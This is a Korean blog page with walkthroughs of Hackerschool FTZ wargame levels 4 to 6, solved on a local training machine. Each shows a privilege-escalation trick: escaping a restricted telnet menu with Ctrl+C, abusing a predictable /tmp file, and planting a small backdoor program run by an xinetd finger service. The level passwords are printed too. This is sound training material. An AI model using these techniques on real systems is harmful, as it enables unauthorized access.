M4ndU의 만두만두한 블로그

해커스쿨 FTZ [LEVEL6] 풀이

M4ndU

해커스쿨 FTZ [LEVEL6] 풀이입니다.

ID | level6

PW | what the hell

으로 로그인합니다.

login as: level6

level6@192.168.31.128's password:

hint - 인포샵 bbs의 텔넷 접속 메뉴에서 많이 사용되던 해킹 방법이다.

로그인을 했더니 쉘은 안뜨고 힌트가 바로 뜬다.

여기서 엔터를 눌렀더니

#####################################

## ##

## 텔넷 접속 서비스 ##

## ##

## 1. 하이텔 2. 나우누리 ##

## 3. 천리안 ##

## ##

#####################################

접속하고 싶은 bbs를 선택하세요 :

이런게 뜬다.

1을 누르고 엔터를 눌렀더니 Tring... 만 뜨고 아무일도 일어나지 않는다.

여기서 Ctrl + C 를 눌렀더니 level6의 쉘이 뜬다.

ls -l 로 어떤 파일이 있는가를 확인하고 password 파일을 cat을 통해 확인했다.

접속하고 싶은 bbs를 선택하세요 : 1

Trying 203.245.15.76...

[level6@ftz level6]$ ls -l

total 32

-rw-r--r-- 1 root root 72 Nov 23 2000 hint

-rw-r----- 1 root level6 36 Mar 24 2000 password

drwxr-xr-x 2 root level6 4096 May 16 2005 public_html

drwxrwxr-x 2 root level6 4096 Jan 14 2009 tmp

-rwxr-x--- 1 root level6 14910 Mar 5 2003 tn

[level6@ftz level6]$ cat password

Level7 password is "come together".

[level6@ftz level6]$

가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ

저작자표시 비영리 동일조건

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL8] 풀이 (0)	2018.02.07
해커스쿨 FTZ [LEVEL7] 풀이 (0)	2018.02.07
해커스쿨 FTZ [LEVEL5] 풀이 (2)	2018.02.07
해커스쿨 FTZ [LEVEL4] 풀이 (0)	2018.02.07
해커스쿨 FTZ [LEVEL3] 풀이 (0)	2018.02.07

해커스쿨 FTZ [LEVEL5] 풀이

M4ndU

해커스쿨 FTZ [LEVEL5] 풀이입니다.

ID | level5

PW | what is your name?

으로 로그인합니다.

$ ls -l

를 이용해 어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.

login as: level5

level5@192.168.31.128's password:

[level5@ftz level5]$ ls -l

total 12

-rw-r--r-- 1 root root 129 Mar 23 2000 hint

drwxr-xr-x 2 root level5 4096 Feb 24 2002 public_html

drwxrwx--- 2 root level5 4096 Jan 16 2009 tmp

hint 파일이 있습니다.

cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.

[level5@ftz level5]$ cat hint

/usr/bin/level5 프로그램은 /tmp 디렉토리에

level5.tmp 라는 이름의 임시파일을 생성한다.

이를 이용하여 level6의 권한을 얻어라.

/usr/bin/level5 프로그램이 /tmp 에 임시 파일을 생성한다고 합니다.

일단 /usr/bin/level5를 실행해 보겠습니다.

[level5@ftz level5]$ /usr/bin/level5

음.. /tmp로 가볼까요?

[level5@ftz bin]$ cd /tmp

[level5@ftz tmp]$ ls -l

total 0음... 아무것도 없네요. 아마 임시파일이라서 생성되었다가 사라지는 것 같습니다.

그럼 직접 /tmp에 level5.tmp라는 파일을 만들어두고 /usr/bin/level5 를 실행하면 level5.tmp에 덮어쓰기가 일어나지 않을까요?

한번 해봅시다.

[level5@ftz tmp]$ cat > level5.tmp

hi

[level5@ftz tmp]$ /usr/bin/level5

cat 명령어로 level5.tmp를 만들고 /usr/bin/level5를 실행했습니다.

그리고 다시 level5.tmp를 cat명령어로 보면?

[level5@ftz tmp]$ cat level5.tmp

next password : what the hell

다음 패스워드가 뜨네요!

가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ

저작자표시 비영리 동일조건

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL7] 풀이 (0)	2018.02.07
해커스쿨 FTZ [LEVEL6] 풀이 (0)	2018.02.07
해커스쿨 FTZ [LEVEL4] 풀이 (0)	2018.02.07
해커스쿨 FTZ [LEVEL3] 풀이 (0)	2018.02.07
해커스쿨 FTZ [LEVEL2] 풀이 (0)	2018.02.07

해커스쿨 FTZ [LEVEL4] 풀이

M4ndU

해커스쿨 FTZ [LEVEL4] 풀이입니다.

ID | level4

PW | suck my brain

으로 로그인합니다.

$ ls -l

를 이용해 어떤 파일과 어떤 폴더가 있는지 확인해 봅시다.

login as: level4

level4@192.168.31.128's password:

[level4@ftz level4]$ ls -l

total 12

-rw-r--r-- 1 root root 50 Feb 24 2002 hint

drwxr-xr-x 2 root level4 4096 Feb 24 2002 public_html

drwxrwxr-x 2 root level4 4096 Feb 6 22:17 tmp

hint 파일이 있습니다.

cat 명령어를 통해 hint 파일의 내용을 확인해 봅시다.

[level4@ftz level4]$ cat hint

누군가 /etc/xinetd.d/에 백도어를 심어놓았다.!

일단 /etc/xinetd.d/로 이동을 해야겠네요.

[level4@ftz level4]$ cd /etc/xinetd.d/

[level4@ftz xinetd.d]$ ls -l backdoor

-r--r--r-- 1 root level4 171 Sep 10 2011 backdoor

정말 백도어가 있네요.

cat 명령어를 통해 백도어를 봅시다.

[level4@ftz xinetd.d]$ cat ./backdoor

service finger

{

disable = no

flags = REUSE

socket_type = stream

wait = no

user = level5

server = /home/level4/tmp/backdoor

log_on_failure += USERID

}

finger 서비스로 실행되는 백도어이며,

level5의 권한으로 /home/level4/tmp/backdoor 을 실행시키는 것 같습니다.

해당 경로로 이동해서 확인해 봅시다.

[level4@ftz xinetd.d]$ cd /home/level4/tmp

[level4@ftz tmp]$ ls -l

total 0

아무것도 없네요..

그럼 우리가 직접 my-pass를 실행하는 파일을 만들어야 할 것 같습니다.

[level4@ftz tmp]$ vi backdoor.c

#include <stdio.h>

#include <stdlib.h>

int main(void){

system("my-pass");

}

~

i를 눌러 삽입모드 에서 작성하시고 esc를 눌러 명령모드에서 :wq를 입력하면 저장됩니다.

[level4@ftz tmp]$ gcc -o backdoor backdoor.c

backdoor라는 이름으로 컴파일을 합니다.

이제 finger 서비스를 시작합니다.

[level4@ftz tmp]$ finger @localhost

^[[H^[[J

Level5 Password is "what is your name?".

다음 레벨로 가즈아ㅏㅏㅏㅏㅏㅏㅏㅏㅏㅏ

저작자표시 비영리 동일조건

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL6] 풀이 (0)	2018.02.07
해커스쿨 FTZ [LEVEL5] 풀이 (2)	2018.02.07
해커스쿨 FTZ [LEVEL3] 풀이 (0)	2018.02.07
해커스쿨 FTZ [LEVEL2] 풀이 (0)	2018.02.07
해커스쿨 FTZ [LEVEL1] 풀이 (1)	2018.02.07

M4ndU의 만두만두한 블로그

해커스쿨 FTZ [LEVEL6] 풀이

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL5] 풀이

'System Hacking > FTZ' 카테고리의 다른 글

해커스쿨 FTZ [LEVEL4] 풀이

'System Hacking > FTZ' 카테고리의 다른 글

+ Recent posts

티스토리툴바